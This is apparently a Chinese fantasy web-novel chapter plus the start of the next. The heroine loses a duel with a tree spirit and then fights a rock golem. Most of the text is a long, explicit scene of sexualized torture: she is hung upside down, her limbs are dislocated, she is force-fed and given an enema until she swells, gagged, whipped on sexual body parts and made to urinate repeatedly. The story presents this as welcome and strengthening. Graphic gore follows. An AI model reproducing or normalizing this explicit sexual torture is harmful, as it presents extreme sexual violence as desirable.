  一击不中,它庞大的身躯猛地前冲,另一条手臂化作一道巨大的木质鞭影,带着呼啸的风声,拦腰横扫而来!范围之大几乎封锁了许墨所有闪避空间。
  避无可避!
  许墨眼中闪过一丝决绝,手腕一抖,青黑色的幽冥索如同拥有生命的灵蛇瞬间激射而出!它不是去格挡那巨大的木鞭,而是转守为攻划出一道诡异的弧线,精准地抽击在木鞭发力最关键的节点,同时也是灵力流转的一个细微衔接处!
  “啪!”一声清脆的爆鸣!
  幽冥索与木鞭接触的瞬间,青森祭司庞大的身躯竟然微微一滞,那势大力沉的横扫出现了一丝几乎难以察觉的凝滞和偏移。
  就是这一丝空隙!
  许墨身形如电,间不容发地从木鞭边缘擦过,运动服下摆被凌厉的气劲撕裂开一道口子。
  “咦?”
  青森祭司发出一声轻咦,显然对许墨能如此精准地打断它的攻势感到意外,“有点意思!不简单!”
  然而,实力的差距终究如同天堑。
  许墨虽然凭借幽冥索的神奇和自身的灵巧屡次化解危机,甚至偶尔能反击一二,用幽冥索抽断几根追击的枝条,在青森祭司华丽的树干上留下几道焦黑的灼痕或浅淡的劈砍印记,但她自身的消耗巨大,灵力如同开闸洪水般倾泻。
  更重要的是,青森祭司的攻击愈发狂暴密集,它似乎被许墨这“蝼蚁”的顽强激起了好胜心。
  “该结束了!”
  青森祭司低吼一声,整个树冠的光芒大盛!
  无数叶片如同受到召唤,汇聚成一股绿色的洪流,不再是分散攻击,而是如同一条鳞甲毕现的木龙咆哮着冲向许墨!
  同时,四面八方更多的藤蔓破土而出,交织成一张巨大的罗网,封死了上空!
  许墨将幽冥索舞得密不透风,索影重重,试图抵挡叶刃洪流,但数量实在太多太强!
  噗噗噗!
  尽管她极力闪避格挡,身上依旧瞬间增添了数道伤口。
  锋利的叶刃划破运动服,在她白皙的肌肤上留下深可见骨的血痕,鲜血迅速染红了衣衫。一根尤其刁钻的藤鞭趁着她抵挡叶刃洪流的空隙,如同毒蛇般抽在她的肩背,火辣辣的剧痛让她一个踉跄。
  就在这身形失衡的刹那,异变再生!
  一根原本静止的、看似普通的树枝,骤然如闪电般疾刺而出!
  它不是抽打,而是如同最锋利的长矛,带着刺耳的破空声精准无比地贯穿了许墨的右臂!
  “呃啊——!”
  许墨发出一声痛苦的闷哼,右臂瞬间被撕裂般的剧痛吞噬,鲜血汩汩涌出。
  那根树枝长矛将她整个人带得向后飞起,最终“咚”的一声,死死地钉在了一棵巨树的树干上!
  胜负已分!
  许墨被悬挂在树干上,右臂被树枝长矛贯穿,剧痛让她额头冷汗涔涔,脸色苍白如纸。
  全身的衣服早已破烂不堪,被鲜血浸透贴在身上,勾勒出狼狈而凄惨的轮廓。
  裸露的肌肤上布满了纵横交错的伤口,几乎没有一块好皮。
  她大口喘息着,每一次呼吸都牵动着全身的伤口带来钻心的疼痛。
  灵力几乎耗尽,身体如同被掏空。
  然而,她的眼神却依旧燃烧着不屈的火焰,死死盯着前方同样停下动作的青森祭司,艰难地从齿缝间挤出破碎的声音:“我……还能……继续!”
  青森祭司此刻的模样也颇为狼狈。
  它那华丽的树干上,被幽冥索灼烧出一大片焦黑的痕迹,更有好几处被劈砍得树皮翻卷,露出里面的木质。几根主要的枝干被抽断,断裂处流淌着青绿色的汁液。它庞大的身躯微微起伏,似乎消耗也不小。
  听到许墨的话,青森祭司像是被气笑了,它抖了抖身子,震落一些碎叶和断枝没好气地吼道:“够了!不打了!你个练气级别的小丫头玩什么命啊!能把老夫这个妖丹级搞成这样已经够可以了!”
  说着,它迈动沉重的步伐走到树下,那根贯穿许墨手臂的树枝长矛如同活物般缓缓抽出,但伤口处却被一层柔和的绿光包裹暂时止住了血。
  接着,几条柔韧的藤蔓轻柔地缠绕上许墨的身体,将她从树干上解下,小心翼翼地捧在巨大的木质手掌中。
  青森祭司捧着奄奄一息的许墨,快步走向山谷深处一处隐秘的角落。
  那里有一潭深绿色的水洼,水面平静无波,却散发出浓郁到极致的生机,仿佛凝聚了整个青木谷的草木精华。
  “泡着吧,小丫头,别逞强了。”
  青森祭司将许墨轻轻放入水潭中。
  许墨的身体刚一接触那深绿色的液体,难以言喻的清凉舒适感瞬间包裹了全身,尤其是那些伤口处,更是传来阵阵麻痒。
  她惊骇地看到身上那些深可见骨的伤口,竟以肉眼可见的速度开始蠕动、愈合!新的肉芽迅速生长,填补缺损,连疤痕都在快速淡化、消失!不过短短十几次呼吸的时间,她全身的伤势竟已完全复原,肌肤光洁如初,甚至连一丝痕迹都未曾留下!就连刚刚被贯穿的右臂,也完好无损,仿佛从未受过伤一般连一点痛感都消失了!
  许墨难以置信地活动了一下手臂,又摸了摸身上原本伤口的位置,眼中充满了震撼。
  这潭水的效果,简直堪比传说中的仙丹神药!
  而青森祭司则将树根重新扎进旁边的土壤,开始吸收养分恢复自身,树干上的伤痕也在缓缓愈合。
  许墨从水潭中站起身,衣物破损,但身体已无碍。
  她看向青森祭司,语气带着由衷的敬意和一丝后知后觉的惊讶:“原来……青森祭司前辈是妖丹级?”
  青森祭司一边吸收养分,一边瓮声瓮气地回答:“那当然!老夫算是青岑那老小子的副手,不过年龄比他小太多太多了。”
  许墨突然像是想起了什么,脸色微变,迟疑地问道:“前辈,晚辈冒昧一问……我初来青木谷时,遇到的那些会缠人的藤蔓……是什么等级?”
  青森祭司漫不经心地回答:“哦,你说蚀骨藤啊?那玩意烦人得很,筑基修士不小心被缠上一身灵力血肉也能被吸干。”
  许墨呼吸一窒,又追问:“那……那株会吞人,还会用触手……呃,‘按摩’我的猪笼草精呢?”
  青森祭司似乎想到了什么有趣的事,发出低沉的笑声:“你说那个大胃袋啊?它可是化形级了,半步妖丹,相当于你们人族的半步金丹修士吧!性子是顽皮了点,但一般不伤人性命,就喜欢捉弄人玩。”
  许墨沉默了。
  她回想起自己当初在青木谷的经历,一阵后怕之余,更多的是恍然和一丝被隐瞒的愠怒,但每当脑海里浮现出那个男人一脸贱兮兮的怪笑时,刚刚浮现的怒意又瞬间化作无奈,以及无语。
  她抬起头,目光复杂地看向青森祭司:“抱歉,过去晚辈一直不知道前辈们的真实境界,只以为是些寻常通了灵性的草木精怪……是晚辈无知了。”
  青森祭司也沉默了。
  几息之后,它猛地爆发出一阵惊天动地的怒吼,震得整个山谷都在颤抖:“巨阳那个叼人不干人事!把自己老婆当千斤顶往死里造啊?!合着你是一直不知道我是妖丹级别就来挑战的?!老子还以为你是明知山有虎偏向虎山行,是条汉子哦哦哦不对是妹子!我可真草了!这特么不是把老婆往死里坑吗?!”
  面对青森祭司的暴怒,许墨反而露出了一个平静中带着些许狡黠的微笑:“前辈息怒。过去虽不知具体境界,但晚辈早有预感此地生灵绝非寻常。纯阴之体在修行界何等危险,晚辈心里清楚。夫君他虽行事跳脱,但此举用意晚辈略知一二。若不用这等近乎绝境的高压手段逼迫自身,晚辈又如何能在危机四伏的修行路上真正获得守护自己的力量和自由?”
  青森祭司的怒吼戛然而止,它巨大的树冠晃动了几下,似乎是在打量许墨。
  半晌,它才叹了口气,语气缓和下来:“你这丫头倒是个明白人,心性也坚韧得可怕。罢了,你说得也对。”
  它转移了话题,用枝条指了指那潭深绿色的水,“这‘两界山草木精华’,是青岑先生特意为你准备的。对你这样的练气小娃娃来说喝一口就能吊住性命,泡在里面更是能瞬间治愈绝大多数伤势。但你接下来去剩下四个地方挑战的时候可别再这么以命相搏了,那几个二当家的下手可不一定有我这么知轻重!尤其是那块傻逼石头,真不小心一下子把你砸成肉饼天王老子都没法救,不过你记着它的动作迟缓的很,只要顺着缝隙用你这根幽冥索让木灵之力侵蚀它的核心,以你的灵巧说不定真能干掉那坨臭石头,哈哈哈哈!”
  许墨心中苦笑,俗话说金克木木克土,自己用锐金杀伐之气只能勉强伤到这青森祭司的表皮,那小山一样的石头人哪有这么好对付?
  只不过,青森祭司和巨岩魔像似乎多少带点私人恩怨的样子,夫君说过两界山过去争斗不止五行相冲,想必也是有道理的。
  于是许墨恭敬行礼:“晚辈明白。既然劳烦前辈们压制境界陪我训练,自当全力以赴,才能对得起前辈们的辛苦和期望。”
  青森祭司的树枝像是人一样挠了挠树干,语气有些古怪地说道:“呃……那个,丫头,有件事得跟你说一下。我……没压。”
  许墨愣住,眨了眨眼:“……前辈说什么?”
  青森祭司肯定地重复:“真没压。老夫我就是实打实的妖丹初期跟你打的。”
  许墨彻底震惊了,美眸圆睁,声音都提高了八度:“不会吧?!晚辈只是一个练气修士,靠着最基础的五行功法和鞭法,能把妖丹级别的前辈伤到?!”
  这完全颠覆了她的认知!
  青森祭司叹了口气,语气带着几分自嘲和坦然:“丫头,这有什么不好理解的?金丹和金丹亦有差异。像老夫这样靠着岁月积累和地利勉强凝聚的妖丹,品相不高,说是水丹也不为过。一辈子妖丹初期基本就是上限了,几乎不可能再进一步。除非获得天大的机缘,比如让你家那位再来一次粪海天降……”
  许墨愣住,刚刚似乎听到了什么非常不得了的东西。
  自己的老公过去到底在两界山干了什么?!
  然而青森祭司突然意识到说漏了嘴,连忙咳嗽两声,生硬地切换了话题:“咳咳!总之,这些草木精华水多带点回去!”
  说着,它不知从何处取出一个看似小巧、却散发着空间波动的芥子袋递给许墨,“里面装了不少,挑战完别的地区BOSS之后,感觉撑不住了就立刻嘬一口,能保命。”
  许墨压下心中的惊涛骇浪,接过芥子袋真诚道谢:“多谢前辈馈赠。”
  青森祭司又取出一枚枝条。
  这枝条只有尺许长,通体翠绿欲滴,仿佛由最上等的翡翠雕琢而成,散发着无限生机与古老的气息,枝条表面天然生长着玄奥的纹路。
  “这是青岑先生为你准备的奖励,‘万年古树灵枝’,蕴含精纯木灵本源,应该是任务奖励没错吧?”
  许墨点头,这和过去老公给自己看的“游戏攻略”上写的完全一致,图片也对得上,不过还是对其散发的蓬勃生命力感到震惊。
  但祭司并没有立刻交给许墨,而是顿了顿,继续说道:“不过,按照规矩,你既然输了,这奖励就得用‘惩罚’来换。丫头,你可明白?”
  许墨似乎早有预料,脸上非但没有惧色,反而露出一丝了然甚至隐隐期待的浅笑:“晚辈明白。不知前辈打算如何……‘处置’我?”
  青森祭司的树枝摆动,语气变得简单直接:“大概是这样,你会被倒吊起来悬于半空,我会用特制的灵叶贴住你的外阴封堵尿道。然后,用草木精华水灌满你的口腔与后庭,直到你的腹部鼓胀如球。再用深喉口球和肛塞堵住出入口,以灵枝鞭挞你的全身,直至你体内的精华水在剧痛与灵力催化下,全部转化为尿液,膀胱充盈至极限。届时,我会掀开灵叶,让你将尿液排出。如此循环往复,大概五到六次,持续一下午。你可愿意接受?”
  这番惩罚的描述,极其详细,充满了羞辱、折磨与情色的意味。
  然而,许墨听后,眼中竟闪过一丝奇异的光彩。
  她非但没有恐惧,反而像是听到了某种有趣的游戏规则,嘴角勾起一抹近乎愉悦的弧度,声音清脆地回应:“喜欢!我很喜欢这样的方式。只望前辈鞭挞之时,不必容情,留我一条性命便好。”
  青森祭司似乎对许墨的反应也有些意外,沉默了一下,才说道:“打归打,玩归玩,老夫我只是想要你的灵液当饮品尝尝鲜。别的都依你开心就好。”
  随即它不再多言,惩罚即刻开始。
  数根深褐色、布满诡异纹路的藤蔓,如同饥饿的巨蟒猛地缠绕上许墨纤细的脚踝,冰冷滑腻的触感让她肌肤瞬间起了一层栗粒。藤蔓并非简单固定,而是以一种扭曲的力量死死勒紧,几乎要嵌入骨肉。
  同时,另外两根更为粗壮的藤蔓从上方垂下,精准地缠住了她的双手手腕。
  血液因重力而迅速涌向头部,带来强烈的胀痛感和眩晕。视野开始模糊,耳边响起嗡鸣。残破的运动服布料无力地垂落,几乎起不到任何遮蔽作用,将她青春饱满、曲线玲珑的胴体完全暴露在微凉的林间空气里。
  白皙的肌肤因倒悬而迅速充血,泛起一层诱人的粉红,尤其是脸颊、胸脯和修长的脖颈,更是红得仿佛要滴出血来。
  双乳因重力自然下垂,显得愈发丰硕沉甸,顶端的蓓蕾在充血和微冷的刺激下,悄然变得硬挺,如同两颗熟透的樱桃。平坦的小腹微微内收,勾勒出柔美的弧线,再往下,是那双被紧身运动裤,包裹的修长玉腿,破损的洞口中露出一片片刚刚修复的雪白肌肤,此刻倒悬着,更显笔直诱人,腿心处那神秘的三角地带,也毫无防备地朝向下方。
  紧接着,恐怖的力量爆发了!
  缠绕脚踝的藤蔓猛地向上提起,将许墨整个人头下脚上地吊离地面。而缠绕手腕的藤蔓则同时发力,狠狠地向下方拉扯!两股相反方向的巨力作用在她娇柔的身体上,瞬间产生了可怕的撕扯效应。
  许墨只来得及发出一声短促的惊叫,随即便是令人牙酸的、密集的“咔咔咔咔”声从她的四肢关节处爆响!
  那是肩关节 肘关节 髋关节 膝关节在瞬间被超越极限的暴力强行拉脱臼的声音!剧痛如同海啸般瞬间淹没了她的所有意识,眼前一片漆黑,几乎要立刻昏死过去。
  她的四肢以一种极其不自然、违反常识的角度扭曲着,软塌塌地垂落,仿佛被拆散了骨架的提线木偶。手臂被拉得异常修长,却又在关节处呈现出怪异的凹陷;双腿也是如此,原本笔直的线条被彻底破坏,呈现出一种被暴力摧残后的凄惨模样。剧烈的疼痛让她全身不受控制地痉挛,汗水瞬间浸透了残破的衣衫,脸色惨白如纸,唯有喉咙里还能发出破碎的、不成调的痛苦呜咽。
  她被以这样一种四肢脱臼、完全失去反抗能力、如同破损玩偶般的姿态,悬吊在半空,等待着后续更加非人的折磨……
  紧接着,是“封阴”。青森祭司挥动一根细枝,一枚巴掌大小、厚实饱满、闪烁着翡翠般光泽的灵叶凭空出现。这灵叶触手冰凉,叶脉间流淌着柔和的绿光。它被精准地操控着轻轻贴附在许墨双腿之间最私密的幽谷之上。
  灵叶似乎带有某种天然的粘性,边缘自动贴合阴唇的饱满轮廓,严丝合缝地将那片粉嫩娇柔的羞处完全覆盖、保护起来。一股清凉之意瞬间从接触点扩散开来,微微镇定了因暴露和倒悬而产生的些许紧张感,但也带来一种被异物覆盖、隐私被彻底掌控的强烈羞耻。  二、灌饮与注肠,在许墨尚未从脱臼的剧痛中完全缓过气来时,灌饮与注肠开始了。
  一根粗硬的玉质藤管粗暴地撬开她因痛苦而微张的唇齿,深入喉咙,直抵食道深处。另一根更细长、顶端如同活物般蠕动的藤管,则毫不怜惜地撑开她后庭紧致的门户,向着肠道深处钻探。
  紧接着,冰凉的、蕴含着磅礴生机的草木精华液,如同决堤的洪水,从两根藤管中疯狂涌入她的体内!
  “咕噜……咕嘟……嗬……”
  许墨的喉咙被迫做着吞咽,胃囊被迅速填满,强烈的恶心感和饱胀感袭来。
  而后庭的灌注更是一种酷刑,冰冷的液体持续不断地注入,肠道被强行撑开,她能清晰地感觉到肠壁被挤压、折叠,内脏器官在液体的压迫下开始移位。
  她的身体以肉眼可见的速度发生着恐怖的变化。
  原本玲珑有致、曲线优美的胴体,此刻正被无情地撑大。
  平坦的小腹首先鼓起,然后是胃部,接着是整个腹腔……她的腰身消失,躯干如同吹气般膨胀起来。皮肤被撑得极度紧绷,透明发亮,皮下的青色血管和筋膜清晰可见,仿佛随时都会裂开。
  原本纤细的腰肢变得比胸脯还要粗壮,整个人被悬挂在那里,就像一个臃肿不堪、失去了所有美感的肉纺锤。
  最痛苦的是内脏的挤压。
  五脏六腑仿佛被扔进了一个不断缩小的液压机中。肺部被极度压缩,她试图吸气,但横膈膜被巨大的腹部顶住,胸腔几乎没有扩张的空间。极度的窒息感让她眼球凸出,面部因缺氧而泛起青紫色。心脏在狭小的空间里疯狂跳动,却泵血艰难,带来阵阵心悸和眩晕。其他的器官,肝、胃、肠,都承受着难以想象的压力,仿佛下一刻就要被挤碎、压扁。
  这是一种极致的痛苦——身体被撑到爆炸的边缘,内脏被挤压到功能的极限,强烈的窒息感让她渴望死亡作为解脱。
  然而,腹中那生命力磅礴的草木精华液,却在她濒临崩溃的瞬间,释放出强大的生机,强行吊住她的一口气,修复着因挤压而产生的细微损伤,让她无法如愿昏厥,更无法死去,只能清醒地、无比清晰地承受着这地狱般的每一分每一秒。
  她的意识在剧痛、窒息和饱胀的折磨中剧烈摇曳,眼前阵阵发黑,耳边是血液奔流的轰鸣和自己心脏濒临碎裂的狂跳声。
  被脱臼的四肢无力地垂荡着,更添几分凄惨。
  当灌入的液体量达到一个骇人听闻的程度时,她的身体已经膨胀到了一个极其夸张的程度,皮肤薄如蝉翼,仿佛轻轻一碰就会破裂,流出里面的液体。
  “够了。”青森祭司适时停止了灌注。
  两根藤管缓缓抽出,留下满腹的饱胀和强烈的便意、尿意混合的诡异感觉。
  但这还不是结束。抽出藤管后,取而代之的是两件“封印”之物。
  一个是由柔软木质雕刻而成、大小适中的深喉球,被强行塞入许墨口中,用坚韧的皮绳牢牢固定在脑后,再也无法发出清晰的声音,也无法吐出任何东西。
  同时,一枚同样质地、表面带有细小凸起纹路、用于刺激肠壁的肛塞,被仔细地、深深地推入她刚刚被灌满的后庭,严密封堵了出口,防止液体漏出。
  此刻的许墨陷入了极度无助的状态。
  她被倒吊在空中,视野充血模糊,口中塞满,后庭堵死,腹部高高隆起,饱胀欲裂,全身唯一的遮蔽是几片破布和腿心那枚冰冷的灵叶。她就像一件被精心准备、等待残酷处理的食材,完全失去了对自己身体的控制权,所有的感官都被放大到了极致,等待着即将到来的风暴。
  第一记鞭挞毫无预兆地落下!
  树枝划破空气,发出尖锐的呼啸,狠狠地抽打在许墨那高高隆起、紧绷如鼓的腹部正中央!
  “嗯——!!!”
  许墨猛地仰头,脖颈瞬间绷紧如弓弦,被口球堵住的口中爆发出沉闷至极、却蕴含着极致痛苦的哀鸣。腹部传来的不仅仅是鞭打的皮肉之苦,那灵枝蕴含的精纯木灵之力,如同烧红的钢针瞬间刺入体内,与她腹中饱含灵力的草木精华水产生了剧烈的、爆炸性的反应!仿佛有一团火在她肚子里炸开,疯狂灼烧、搅动着她的内脏!鞭痕处迅速浮现出一道狰狞的紫红色棱子,火辣辣的疼痛席卷全身。
  然而,这剧痛刚刚达到顶峰,腹中那海量草木精华水的强大治愈力便被激发,如同甘霖般迅速涌向伤处。一股清凉之意覆盖了灼痛,鞭痕处的红肿以肉眼可见的速度消退,破损的毛细血管愈合,肌肤恢复光洁,甚至连一丝痕迹都未曾留下。
  但这治愈带来的并非舒适,而是一种诡异的“重置”感,仿佛刚才那撕心裂肺的疼痛只是一个短暂的幻觉,为下一次更剧烈的鞭挞做好了准备。
  这种从地狱到天堂再瞬间坠回地狱的落差,比持续的疼痛更加折磨人的神经。
  青森祭司没有丝毫怜悯,灵枝如同疾风暴雨般落下,节奏稳定而冷酷。
  它不再局限于腹部,而是覆盖了许墨全身每一个敏感的角落。
  鞭挞抽在她饱满挺翘的胸乳上,乳肉被抽得剧烈颤抖,白皙的肌肤上瞬间浮现出交错的红色鞭痕,顶端的茱萸因极致的疼痛和难以言喻的刺激,硬挺得如同石子,颜色也变得更加深谙。
  鞭挞落在她纤细柔韧的腰肢上,柔软的腰腹肌肉痉挛抽搐,带来钻心的酸痛,仿佛脊椎都要被抽断。
  鞭挞光顾她丰腴弹软的臀瓣,留下道道肿痕,臀肉被打得泛起层层诱人的波浪,羞耻与痛楚交织。
  鞭挞甚至延伸到她修长笔直的大腿内侧、娇嫩敏感的膝窝、以及微微蜷缩的脚心,每一处都是神经密集之地,带来尖锐刺骨的疼痛。
  许墨的身体在空中无助地扭动、痉挛,像是一条被钉住的鱼。
  汗水如同泉涌,从全身每一个毛孔中疯狂渗出,浸湿了残破的布料,更在她光洁的肌肤上复上一层油亮的光泽,使得鞭痕更加醒目。泪水不受控制地从眼角滑落,混合着汗水,流进鬓角头发。被口球堵住的口中不断溢出压抑的、破碎的呜咽和呻吟,那是痛苦、屈辱、以及某种被逼到极限时生理本能反应的混合体。
  她的意识在剧痛的浪潮中浮沉,时而清醒地感受着每一分折磨,时而模糊地陷入短暂的空白。
  唯一不变的是那循环:剧痛——瞬间治愈——新的剧痛……她的身体成了一个不断被破坏又瞬间被修复的战场,每一次修复都似乎让肌肤更加莹润,但精神承受的负荷却呈几何级数增长。
  不知经历了多少轮鞭挞,在持续不断的痛苦刺激和体内灵力的剧烈催化下,许墨腹中的草木精华水终于开始被加速分解、转化。
  饱胀感逐渐被一种越来越强烈、无法忽视的膀胱充盈欲裂的尿意所取代。她开始无意识地挣扎,被缚的双腿试图夹紧,小腹传来一阵阵痉挛性的抽搐,尿道口传来阵阵酸麻胀痛的感觉,仿佛有什么东西要冲破束缚。
  青森祭司敏锐地察觉到了她身体的变化,它停止了鞭挞。
  山谷间瞬间只剩下许墨粗重艰难的呼吸声和汗水滴落的声音。
  它操控枝条,轻轻掀开了贴在她阴部的那枚灵叶。
  失去了灵叶的覆盖和轻微的压迫,早已不堪重负的尿道再也无法坚持。许墨的意识正处于半昏迷的模糊状态,仿佛置身于一个荒诞而羞耻的梦境。
  在无意识的支配下,一道清澈的、略带草木清香和一丝微咸气息的淡黄色水柱,猛地从她腿心激射而出!水柱起初有力,划出一道清晰的抛物线,哗啦啦地溅落在下方早已准备好的一个巨大木碗中。
  这排尿的过程,对于意识不清的许墨来说,是一种完全失控的生理释放。她能模糊地感觉到热流从体内汹涌而出,带走了一部分的饱胀和压力,但随之而来的是更深的羞耻感,仿佛在最公开的场合进行了最私密的行为。
  尿液溅落的声音在寂静的山谷中格外清晰,持续了相当长一段时间,直到膀胱彻底排空,水柱变为断断续续的滴答声。
  然而,惩罚远未结束。当许墨微微喘息,以为煎熬暂时过去时,青森祭司再次开始了鞭挞和排尿的循环。
  第二次,第三次……
  每一次循环,过程都更加漫长,鞭挞似乎也更加沉重。许墨在极致的痛苦和羞耻中多次彻底昏迷过去,身体如同破布娃娃般任由摆布,又在无意识的排尿后,重新苏醒过来,然后在新一轮更猛烈的鞭挞中痛醒过来。
  如同纺锤一样的肚子渐渐消减下去,大量的木灵生命精华被她的身体由内而外直接吸收,多余的水分继续转化成尿液被青森祭司用木碗仔细接住,随后一口一口的用树干上的大嘴品尝起来。
  许墨的身体仿佛经历着一场残酷的涅盘。
  旧的伤痕瞬间愈合,新的伤痕立刻添上,肌肤在反复的破坏与重生中变得愈发剔透晶莹,宛如最上等的羊脂白玉,毛孔收缩得几乎看不见。
  体内灵力虽然消耗巨大,却在一次次极限压榨和精华水的补充下,被锤炼得愈发精纯凝练,流转间带着一种前所未有的活力。
  到了第五次循环时,许墨的意识已经变得有些麻木,但对痛苦的感知却更加清晰。她不再挣扎,只是默默承受,仿佛灵魂脱离了肉体,从一个更高的视角观察着这场施加于自身的酷刑。
  一种奇异的平静感,混合着极致的痛苦,在她心中滋生。
  当最后一次尿液排尽,青森祭司终于停下了所有动作。
  夕阳的余晖已经将山谷染成暖金色。
  它将意识模糊的许墨放下,解开了她身上所有的束缚,并为她全身涂抹上一层清凉镇痛、促进恢复的绿色药膏。
  许墨瘫软在地,像一滩软泥,许久没有动静。
  直到夜幕开始降临,她才缓缓睁开双眼。
  出乎意料的是,那双眸子异常清澈明亮,没有丝毫怨怼,反而充满了难以言喻的轻松与通透感。
  她站起身,活动了一下四肢,感觉身体轻盈得仿佛要飘起来。原本就白皙无暇的肌肤,此刻更是透出一种莹润如玉的光泽,仿佛新生婴儿般娇嫩,连毛孔都几乎看不见。
  体内灵力虽然消耗巨大,但却异常精纯活泼,流转顺畅。一种难以言喻的通透感和轻松感弥漫全身,仿佛所有的杂质都在那反复的破立中被洗涤一空。
  她看向青森祭司,深深一礼:“多谢前辈鞭挞淬炼之恩。”
  青森祭司沉默片刻,递过灵枝和芥子袋:“罢了,你这丫头……回去吧。”
  许墨再次道谢,脚步轻快地裸奔离开了青木谷,仿佛刚才那场持续了整整下午、足以让任何人精神崩溃的残酷惩罚,只是一次令人舒爽的深度按摩。
  小院内,林烨已经做好了简单的饭菜,看到许墨回来,笑着问道:“回来啦?东西拿到了没有?”
  许墨将万年古树灵枝交给林烨,并说道:“青森祭司前辈还额外送了不少草木精华水。”
  林烨接过灵枝,看了看,点点头,又拿起芥子袋感知了一下,随口说道:“哦,草木精华水啊,好东西,拿来擦擦脸,涂抹伤口都挺好,必要的时候一口闷了还能保命呢。”
  许墨闻言,却愣了一下。
  她看着林烨那随意的样子,又回想起下午自己被灌得饱胀欲裂、在鞭挞中转化的经历,脸颊不由微微泛红。
  她没说什么,只是默默地去屋里找了一个空的浴桶,然后将芥子袋中的草木精华水哗啦啦地倒了进去,足足倒了一桶。
  林烨看到那桶晶莹剔透、散发着浓郁生机的绿色液体,瞬间愣住了,眼睛瞪得老大,倒吸一口凉气:“卧槽!青岑真舍得下血本!这玩意一年才能从两界山灵脉中凝聚出一小瓶,你这相当于几百年的量了!他这是把棺材本都给你了吧?!”
  许墨的脸更红了,声如蚊蚋地补充道:“我……我今天下午,还被灌进去……大概三四升的量……然后被反复鞭打……转化……”
  林烨先是一怔,随即像是明白了什么,脸上露出一个哭笑不得又带着几分佩服的复杂表情,最终化为一声感叹:“牛逼!”
  夜深人静,月上枝头,许墨已经在床上睡得深沉。
  林烨坐在床边,目光里带着一丝怜爱,伸手用指背轻轻抚摸许墨那如新生婴儿般白里透红、吹弹可破的脸蛋肌肤,触手之处滑腻温润,令人爱不释手。
  随后,他收回指尖,面容严肃。
  无数的气息从四面八方涌来,汇聚在桃源镇上方,这座小小的屋舍之上形成了一个灵力的漏斗,但林烨对此似乎毫无察觉,又像是早有预料。
  他面色平静,坐在床边对着床上的许墨低声呢喃某种古老的医经:“东方青色,入通于肝,开窍于目……”
  片刻之后,巨量的灵气散去,仿佛什么都没有发生过,只有大榕树下安详坐着的青衣中年人看向天上,眼神中带着一丝不可置信,随后又变成了释然。
  【待续】

凡人修仙传
忘语
修仙觅长生,热血任逍遥,踏莲曳波涤剑骨,凭虚御风塑圣魂! ...

天空之城 / 发表于: 2025/10/14 05:07:17

第9章 石心试炼,凝滞时空
  玄垢洞深处,并非寻常溶洞的潮湿阴暗,反而是一片开阔的、仿佛被巨神斧凿出的巨大石窟,里面树木清脆,鸟语花香。
  穹顶高悬,投下稀疏的天光,映照在中央那尊如同小山般巍峨的巨影上——那正是此地的守护者,魔岩巨像。
  它并非精细雕琢的艺术品,而是由无数粗糙、厚重、棱角分明的巨大岩石块垒砌而成,通体呈现深沉的青灰色,仿佛与整个山脉融为一体。
  岁月的痕迹刻在每一道岩石缝隙间,苔藓与地衣零星点缀,更添几分古老与苍茫。
  它仅仅是单膝跪地的姿态,其高度已逾十丈,投下的阴影足以笼罩半个石窟,散发着令人窒息的沉重威压。
  然而,此刻这尊庞然巨物却显得有些凝滞。
  无数道青黑色的、细看却是由无数金属丝编织而成的“幽冥索”,如同拥有生命的黑色藤蔓,正死死缠绕在巨像的躯干与四肢的关键节点上,尤其是胸口一处隐约闪烁着土黄色光芒的区域更是被索尖深深刺入。
  更奇异的是,索身上流动着翠绿色的光芒——那是属于青木谷的草木生机之力,正沿着幽冥索源源不断地注入巨像的核心,与那厚重的土灵之力激烈冲突、侵蚀,发出细微却令人牙酸的“滋滋”声,使得巨像庞大的身躯微微震颤,动作变得极其迟缓。
  绳索的另一头,连接着与这宏伟景象格格不入的、渺小如蚁的身影——许墨。
  她跪伏在冰冷的岩石地面上,浑身浴血,模样凄惨到了极点。
  原本利落的运动服早已破烂不堪,被鲜血和尘土染得看不出原色。
  最触目惊心的是她的左腿,以一个绝不可能属于活人的怪异的角度扭曲着,森白的腿骨刺穿了小腿肚的皮肉,裸露在外,沾染着猩红。
  她的左臂更是软塌塌地垂着,臂骨显然已经粉碎,连带着左侧的大片肋骨,都在刚才那电光火石的交锋中,被魔岩巨像那看似随意、实则蕴含崩山之力的一击彻底摧垮。
  每一次微弱的呼吸都牵动着破碎的内脏,带来撕心裂肺的剧痛,她猛地咳出一口鲜血,其中赫然混杂着细小的内脏碎片。
  这正是她方才兵行险着的代价。
  以自身为饵,硬抗巨像那避无可避的雷霆一击,只为换取幽冥索触及核心的瞬息机会。
  代价惨烈,但收益也极为惊人。
  幽冥索成功刺入,木克土的属性压制下,精纯的草木生机不仅侵蚀着巨像的灵力运转,更反馈回一部分力量,勉强吊住了许墨濒临崩溃的生机,让她得以在这非人的痛苦中保持一丝清醒,苟延残喘。
  “嗯……”
  魔岩巨像发出沉闷如同巨石摩擦的声音,尽管半跪于地被幽冥索束缚,它的语气却听不出多少挫败,反而带着一种审视后的了然,“我觉得……这应该算你赢了。”
  许墨艰难地抬起头,苍白脸上沾满血污,唯有一双眸子依旧燃烧着不屈的火焰,她吐掉嘴里的血沫,声音嘶哑却坚定:“我不需要……怜悯。”
  “不是怜悯啊,”
  巨像的声音轰隆隆地回荡在石窟中,“如果你是筑基期,灵力再浑厚些,这木灵侵蚀就能真正伤到我根本,我就完蛋了哦。”
  它顿了顿,巨大的岩石头颅微微转动,看向胸口那缕翠绿,“能用这软索触碰到我的核心,你已经很强了。如今唯一差的,就是一点境界。到此为止吧,不然我要强行起来,可是会把你的武器弄坏的哦。”
  这话语平静,却带着毋庸置疑的事实。
  许墨低头,看着自己几乎报废的左臂和深可见骨的左腿,又感受了一下幽冥索与巨像核心那脆弱的平衡。
  她深吸一口气,牵动伤势又是一阵剧烈咳嗽,最终还是心念一动。
  幽冥索如同拥有灵性般,缓缓从巨像核心抽出,青黑色的索身依旧闪烁着微光,缩回她完好的右手腕上,重新化作那枚古朴的手环——因为左手已无法承载。
  见许墨收手,魔岩巨像似乎松了口气。
  它巨大的岩石手掌看似笨拙,动作却异常平稳地端起旁边一个早已准备好的、如同小型浴池般的石澡盆。
  接着,它用另一只手的指尖,极其小心地捏起许墨那件早已破败不堪的外衣后领,像拎起一只受伤的小猫,将她轻柔地放入石盆中。
  随后,它取出许墨带来的芥子袋,将里面散发着浓郁生机的墨绿色草木精华液,“哗啦啦”地注入盆中,直至液体将许墨完全淹没,只露出一张苍白的小脸。
  浸泡在生命精华之中,许墨顿时感觉一股磅礴的暖流包裹了全身。
